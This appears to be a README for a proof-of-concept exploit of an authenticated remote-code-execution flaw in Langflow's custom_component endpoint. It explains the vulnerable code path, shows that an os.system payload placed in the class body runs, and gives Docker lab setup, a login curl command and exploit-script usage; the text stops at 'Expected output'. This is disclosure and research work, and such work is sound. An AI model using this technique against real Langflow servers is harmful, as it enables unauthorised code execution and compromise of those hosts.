
PoC for CVE-2026-17633 — Authenticated RCE in IBM Langflow OSS 1.0.0–1.10.3 via custom_component endpoint. Includes CVE-2026-17632 AST scanner bypass research.
For educational purposes only. Only use against systems you own or have explicit written authorization to test.
Langflow is an open-source low-code platform for building LLM-powered applications and AI agent workflows. It provides a visual drag-and-drop interface where users can connect components — models, retrievers, tools, memory, custom Python code — into executable flows. Its Custom Component feature allows users to define component behavior directly in Python, which is the attack surface exploited in this research.
On August 5, 2026, IBM published a Security Bulletin disclosing a batch of vulnerabilities affecting Langflow OSS versions 1.0.0 through 1.10.3. The full bulletin is available at:
This research focuses on two CVEs from that batch:
| CVE | CVSS | Summary |
|---|---|---|
| CVE-2026-17633 | 8.5 HIGH | Authenticated RCE via /api/v1/custom_component — code passed directly to exec() with no security scanning |
| CVE-2026-17632 | 8.8 HIGH | AST security scanner bypass — crafted Python code passes scan_code_security() with is_safe: True while executing arbitrary OS commands |
Both CVEs were independently discovered through static source code analysis of Langflow 1.10.3.
This research was conducted in an isolated lab environment against a self-hosted Langflow instance. All findings are disclosed responsibly. Do not use this against systems without explicit written authorization.
The POST /api/v1/custom_component endpoint in Langflow OSS 1.0.0–1.10.3 accepts arbitrary Python code from an authenticated user and executes it server-side via Python's exec() function. Unlike the Agentic Assistant path, this endpoint does not call scan_code_security() or any other AST-based content validator before execution. Any authenticated user can achieve Remote Code Execution with a single HTTP request.
CWE-94 — Improper Control of Generation of Code
/api/v1/custom_component EndpointSource: langflow/api/v1/endpoints.py — line 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
When LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (common in production deployments), the code goes directly to build_custom_component_template() with zero content inspection.
prepare_global_scope() and ast.ExprThe execution chain leads to create_class() in lfx/custom/validate.py, which calls prepare_global_scope() before compiling and executing the class:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
A bare function call at module level (e.g. os.system(...)) is an ast.Expr node — it is not matched by the isinstance check and is silently discarded. However, code placed inside the class body is part of the ClassDef node and is executed in full when the class is defined via exec() inside compile_class_code().
This is the key insight: the payload must be inside the class body, not at module level.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
No LLM required. No scanner bypass needed. Single HTTP request.
| Requirement | Value |
|---|---|
| Host OS | Kali Linux (tested) |
| Docker | CE 5.x + Compose plugin v2 |
| Langflow image | langflowai/langflow:1.10.3 |
| RAM | 4 GB minimum for the container |
Create a directory for the lab and save the following as docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Start the lab:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Log in to http://127.0.0.1:7860 with the superuser credentials defined above. The access token is stored in the browser cookie access_token_lf. Alternatively, retrieve it via the API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copy the access_token value from the response.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
Expected output: